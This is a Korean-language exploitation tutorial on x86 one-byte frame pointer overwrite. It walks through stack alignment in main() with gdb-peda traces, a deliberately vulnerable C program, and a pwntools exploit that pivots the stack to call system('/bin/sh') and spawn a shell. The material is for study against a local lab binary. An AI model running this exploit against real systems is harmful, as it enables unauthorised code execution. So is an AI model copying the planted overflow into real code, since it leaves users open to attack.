Excuse the ads! We need some help to keep our site up.

List

Frame Pointer Overwrite(One-byte Overflow) - x86

  • x86에서도 x64 환경과 같이 Frame Pointer를 1byte 덮어써서 코드의 흐름을 변경 할 수 있습니다.

  • 32 bit Binary의 경우 64bit와 달리 스택을 16 바이트 경계에 정렬하는 코드가 추가됩니다.

    • x86-64 ABI는 16 바이트 스택 정렬이 필요합니다.

    • ABI와 호환되지 않는 환경에서 스택 공간을 제한해서 사용하기 위해서 입니다.

    • 펜티엄 III에서 SSE(Streaming SIMD Extension) 데이터 유형 __m128이 16 바이트 정렬되지 않으면 올바르게 작동하지 않을 수 있습니다.

Stack alignment at 16-byte boundary

  • 다음과 같이 16byte 경계에 스택을 정렬하기 위한 코드는 다음과 같이 동작합니다.
    • main() 함수가 시작 되는 부분에서는 이전 함수에서 사용하던 Frame Pointer를 Stack에 저장하기 전에 Stack alignment을 진행합니다.
    • main() 함수가 종료 되는 부분에서는 다음과 같이 동작 합니다.
    • leave 명령어 실행 전, ebp 레지스터에 저장 된 주소에 0x4를 뺀 영역에 저장된 값을 ecx 레지스터에 저장됩니다.
    • leave 명령어 실행 후, ecx 레지스터에 저장 된 주소에 0x4를 뺀 주소 값을 esp 레지스터에 저장됩니다.
  • 여기가 중요합니다.
    • Stack alignment 코드가 없을 경우에는 esp 레지스터의 값이 leave 코드에 의해 변경됩니다.
    • Stack alignment 코드 적용되면 ret 코드가 실행되기 전에 "lea esp,[ecx-0x4]" 코드에 의해 esp 레지스터의 값이 변경됩니다.
    • 하지만 ecx레지스터의 값은 leave 코드가 실행 되기전에 ebp 레지스터를 이용해 값을 저장하기 때문에 esp 레지스터의 값을 변경 할 수 있습니다.
Stack alignment at 16-byte, 4-byte boundary

Stack alignment(16byte)Stack alignment(4byte)
main()
>> 0x080485d3 <+0>:	lea    ecx,[esp+0x4]
>> 0x080485d7 <+4>:	and    esp,0xfffffff0
>> 0x080485da <+7>:	push   DWORD PTR [ecx-0x4]
0x080485dd <+10>:	push   ebp
0x080485de <+11>:	mov    ebp,esp
0x080485e0 <+13>:	push   ecx
0x080485e1 <+14>:	sub    esp,0x4
0x080485e4 <+17>:	mov    eax,ecx
0x080485e6 <+19>:	cmp    DWORD PTR [eax],0x1
0x080485e9 <+22>:	jg     0x8048605 <main+50>
0x080485eb <+24>:	sub    esp,0xc
0x080485ee <+27>:	push   0x80486d4
0x080485f3 <+32>:	call   0x8048430 <puts@plt>
0x080485f8 <+37>:	add    esp,0x10
0x080485fb <+40>:	sub    esp,0xc
0x080485fe <+43>:	push   0x0
0x08048600 <+45>:	call   0x8048440 <exit@plt>
0x08048605 <+50>:	call   0x804857b <vuln>
0x0804860a <+55>:	nop
>> 0x0804860b <+56>:	mov    ecx,DWORD PTR [ebp-0x4]
0x0804860e <+59>:	leave  
>> 0x0804860f <+60>:	lea    esp,[ecx-0x4]
0x08048612 <+63>:	ret   
0x080485c7 <+0>:	push   ebp
0x080485c8 <+1>:	mov    ebp,esp
0x080485ca <+3>:	cmp    DWORD PTR [ebp+0x8],0x1
0x080485ce <+7>:	jg     0x80485e4 <main+29>
0x080485d0 <+9>:	push   0x80486a4
0x080485d5 <+14>:	call   0x8048430 <puts@plt>
0x080485da <+19>:	add    esp,0x4
0x080485dd <+22>:	push   0x0
0x080485df <+24>:	call   0x8048440 <exit@plt>
0x080485e4 <+29>:	call   0x804857b <vuln>
0x080485e9 <+34>:	nop
0x080485ea <+35>:	leave  
0x080485eb <+36>:	ret  

Proof of concept

Example code

  • 다음 코드를 이용하여 Frame Pointer Overwrite의 동작을 확인하겠습니다.
    • 해당 프로그램은 Stack address, Libc address를 출력합니다.
      • Stack address: buf
      • Libc address: printf_addr
    • read()함수를 이용해 사용자로 부터 63개의 문자를 입력 받습니다.
      • 이로 인해 Frame pointer영역에 1byte를 Overwrite 할 수 있습니다.
fpo.c
//gcc -m32 -fno-stack-protector -o fpo fpo.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
 
void vuln(){
    char buf[50];
    printf("buf[50] address : %p\n",buf);
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 63);
}
 
void main(int argc, char *argv[]){
    if(argc<2){
        printf("argv error\n");
        exit(0);
    }
    vuln();
}

Stack alignment

  • 다음과 같이  Break pointer를 설정합니다.
    • 0x080485d3: main() 함수의 Stack alignment를 위한 코드가 실행 되기 전
Breakpoints
lazenca0x0@ubuntu:~/Exploit/FPO$ gdb -q ./fpo
Reading symbols from ./fpo...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x080485d3 <+0>:	lea    ecx,[esp+0x4]
   0x080485d7 <+4>:	and    esp,0xfffffff0
   0x080485da <+7>:	push   DWORD PTR [ecx-0x4]
   0x080485dd <+10>:	push   ebp
   0x080485de <+11>:	mov    ebp,esp
   0x080485e0 <+13>:	push   ecx
   0x080485e1 <+14>:	sub    esp,0x4
   0x080485e4 <+17>:	mov    eax,ecx
   0x080485e6 <+19>:	cmp    DWORD PTR [eax],0x1
   0x080485e9 <+22>:	jg     0x8048605 <main+50>
   0x080485eb <+24>:	sub    esp,0xc
   0x080485ee <+27>:	push   0x80486d4
   0x080485f3 <+32>:	call   0x8048430 <puts@plt>
   0x080485f8 <+37>:	add    esp,0x10
   0x080485fb <+40>:	sub    esp,0xc
   0x080485fe <+43>:	push   0x0
   0x08048600 <+45>:	call   0x8048440 <exit@plt>
   0x08048605 <+50>:	call   0x804857b <vuln>
   0x0804860a <+55>:	nop
   0x0804860b <+56>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x0804860e <+59>:	leave  
   0x0804860f <+60>:	lea    esp,[ecx-0x4]
   0x08048612 <+63>:	ret    
End of assembler dump.
gdb-peda$ b *0x080485d3
Breakpoint 1 at 0x80485d3
gdb-peda$
  • 다음과 같이 Stack alignment를 확인 할 수 있습니다.
    • ESP 레지스터에 저장된 값에 "0x4"를 더한 주소를 ECX 레지스터에 저장합니다.
    • ESP 레지스터에 해당 레지스터에 저장된 값과 0xfffffff0를 AND 연산한 값을 저장합니다.
      • 0xffffd59c & 0xfffffff0 = 0xffffd590
      • 이로 인해 Stack 주소를 16byte 경계에 맞춰집니다.
    • Stack에 [ECX - 0x4] 주소에 저장된 값을 저장합니다.
      • [ECX - 0x4] 영역에 저장된 값은 0xf7e18637이며, 해당 값은 main() 함수가 종료되고 돌아갈 Return address 입니다.
Stack alignment at 16-byte boundary
gdb-peda$ r AAAA
Starting program: /home/lazenca0x0/Exploit/FPO/fpo AAAA
Breakpoint 1, 0x080485d3 in main ()
gdb-peda$ i r esp
esp            0xffffd59c	0xffffd59c
gdb-peda$ p/x 0xffffd59c + 0x4
$1 = 0xffffd5a0
gdb-peda$ ni

0x080485d7 in main ()
gdb-peda$ i r esp
esp            0xffffd59c	0xffffd59c
gdb-peda$ p/x 0xffffd59c & 0xfffffff0
$2 = 0xffffd590
gdb-peda$ ni

0x080485da in main ()
gdb-peda$ i r esp
esp            0xffffd590	0xffffd590
gdb-peda$ i r ecx
ecx            0xffffd5a0	0xffffd5a0
gdb-peda$ x/wx 0xffffd5a0 - 0x4
0xffffd59c:	0xf7e18637
gdb-peda$ x/i 0xf7e18637
   0xf7e18637 <__libc_start_main+247>:	add    esp,0x10
gdb-peda$ 

Change the flow of code

  • 다음과 같이  Break pointer를 설정합니다.
    • 0x0804857e: vuln() 함수에서 사용 할 Fream Pointer를 EBP 레지스터에 저장한 후 
    • 0x080485d1: vuln() 함수에서 leave 명령어 호출
    • 0x0804860b: main() 함수의 "mov ecx,DWORD PTR [ebp-0x4]" 코드
Breakpoints
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0804857b <+0>:	push   ebp
   0x0804857c <+1>:	mov    ebp,esp
   0x0804857e <+3>:	sub    esp,0x48
   0x08048581 <+6>:	sub    esp,0x8
   0x08048584 <+9>:	lea    eax,[ebp-0x3e]
   0x08048587 <+12>:	push   eax
   0x08048588 <+13>:	push   0x80486a0
   0x0804858d <+18>:	call   0x8048420 <printf@plt>
   0x08048592 <+23>:	add    esp,0x10
   0x08048595 <+26>:	sub    esp,0x8
   0x08048598 <+29>:	push   0x80486b6
   0x0804859d <+34>:	push   0xffffffff
   0x0804859f <+36>:	call   0x8048460 <dlsym@plt>
   0x080485a4 <+41>:	add    esp,0x10
   0x080485a7 <+44>:	mov    DWORD PTR [ebp-0xc],eax
   0x080485aa <+47>:	sub    esp,0x8
   0x080485ad <+50>:	push   DWORD PTR [ebp-0xc]
   0x080485b0 <+53>:	push   0x80486bd
   0x080485b5 <+58>:	call   0x8048420 <printf@plt>
   0x080485ba <+63>:	add    esp,0x10
   0x080485bd <+66>:	sub    esp,0x4
   0x080485c0 <+69>:	push   0x3f
   0x080485c2 <+71>:	lea    eax,[ebp-0x3e]
   0x080485c5 <+74>:	push   eax
   0x080485c6 <+75>:	push   0x0
   0x080485c8 <+77>:	call   0x8048410 <read@plt>
   0x080485cd <+82>:	add    esp,0x10
   0x080485d0 <+85>:	nop
   0x080485d1 <+86>:	leave  
   0x080485d2 <+87>:	ret    
End of assembler dump.
gdb-peda$ b *0x0804857e
Breakpoint 2 at 0x804857e
gdb-peda$ b *0x080485d1
Breakpoint 3 at 0x80485d1
gdb-peda$ b *0x0804860b
Breakpoint 4 at 0x804860b
gdb-peda$ 
  • 다음과 같이 vuln() 함수에서 사용할 Frame Pointer를 확인 할 수 있습니다.
    • vuln() 함수에서 사용할 Frame Pointer의 주소는 0xffffd578 입니다.
    • 해당 영역에는 다음과 같은 정보가 저장되어 있습니다.
      • 0xffffd588 : main() 함수의 Frame Pointer
      • 0x0804860a: vuln() 함수 종료 후 이동할 Return Address
Check Frame Pointer of vuln() function
gdb-peda$ c
Continuing.

Breakpoint 2, 0x0804857e in vuln ()
gdb-peda$ i r ebp
ebp            0xffffd578	0xffffd578
gdb-peda$ x/2wx 0xffffd578
0xffffd578:	0xffffd588	0x0804860a
gdb-peda$ 
  • 다음과 같이 Overflow를 확인 할 수 있습니다.
    • 문자 63개를 입력하여 main() 함수의 Frame Pointer 주소 값이 1byte 변경되었습니다.
      • 0xffffd588 → 0xffffd550
    • 해당 값은 leave 명령어에 의해 EBP 레지스터에 저장됩니다.
Overwrite to Frame Pointer of main() function
gdb-peda$ c
Continuing.
buf[50] address : 0xffffd53a
Printf() address : 0xf7e49020
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP
Breakpoint 3, 0x080485d1 in vuln ()
gdb-peda$ P
$3 = 0xffffd590

gdb-peda$ i r ebp
ebp            0xffffd578	0xffffd578
gdb-peda$ x/2wx 0xffffd578
0xffffd578:	0xffffd550	0x0804860a
gdb-peda$ ni

0x080485d2 in main ()
gdb-peda$ i r ebp
ebp            0xffffd550	0xffffd550
gdb-peda$
  • 다음과 같이 코드의 흐름이 변경됩니다.
    • leave 명령어로 인해 EBP 레지스터의 값은 ESP 레지스터에 저장되며, 이로 인해 프로그램의 흐름이 변경될 수 있습니다.
    • "mov ecx,DWORD PTR [ebp-0x4]" 코드에 의해 [EBP 레지스터에 저장된 주소 - 0x4] 영역에 저장된 값을 ECX 레지스터에 저장합니다.
      • [0xffffd550 - 0x4] 에 저장된 값은 0x46464545 입니다.
    • leave 명령어로 인해 ESP, EBP 레지스터의 값이 변경됩니다.
    • "lea esp,[ecx-0x4]" 코드에 의해 [ECX - 0x4] 연산된 값을 ESP 레지스터에 저장합니다.
    • ESP 레지스터의 값이 leave 코드에 의해 변경되는 것이 아니라 "lea esp,[ecx-0x4]" 코드에 의해 변경됩니다.
    • 즉, Stack alignment 관련 코드가 추가되어도 코드의 흐름은 변경 할 수 있습니다.
Change the flow of code
gdb-peda$ c
Continuing.

Breakpoint 4, 0x0804860b in main ()
gdb-peda$ i r ebp
ebp            0xffffd550	0xffffd550
gdb-peda$ x/wx 0xffffd550 - 0x4
0xffffd54c:	0x46464545
gdb-peda$ ni

0x0804860e in main ()
gdb-peda$ i r ecx
ecx            0x46464545	0x46464545
gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x08048612 in main ()
gdb-peda$ i r esp
esp            0x46464541	0x46464541
gdb-peda$ 

Exploit

exploit.py
from pwn import *

p = process(['./fpo','AAAA'])

p.recvuntil('buf[50] address : ')
tmp = p.recv(10)
stackAddr = int(tmp,16)
stackAddr += 0x8
onebyte = int(tmp[8:11],16)
onebyte += 0x4

p.recvuntil('Printf() address : ')
libc = p.recvuntil('\n')
libc = int(libc,16)

libcBase = libc - 0x49020
sysAddr = libcBase + 0x3a940
exit = libcBase + 0x2e7b0
binsh = libcBase + 0x15902b

print "StackAddr : " + hex(stackAddr)
print "onebyte : " + hex(onebyte)
print "libc base : " + hex(libcBase)
print "system() : " +hex(sysAddr)
print "exit() : " +hex(exit)
print "binsh : " + hex(binsh)

exploit = p32(stackAddr)
exploit += p32(sysAddr)
exploit += p32(exit)
exploit += p32(binsh)
exploit += '\x90' * (62 - len(exploit))
exploit += p32(onebyte)

p.send(exploit)
p.interactive()
python Exploit.py
lazenca0x0@ubuntu:~/Exploit/FPO$ python exploit.py 
[+] Starting local process './fpo': pid 4830
StackAddr : 0xffc98542
onebyte : 0x3e
libc base : 0xf7d8d000
system() : 0xf7dc7940
exit() : 0xf7dbb7b0
binsh : 0xf7ee602b
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

Related site

Comments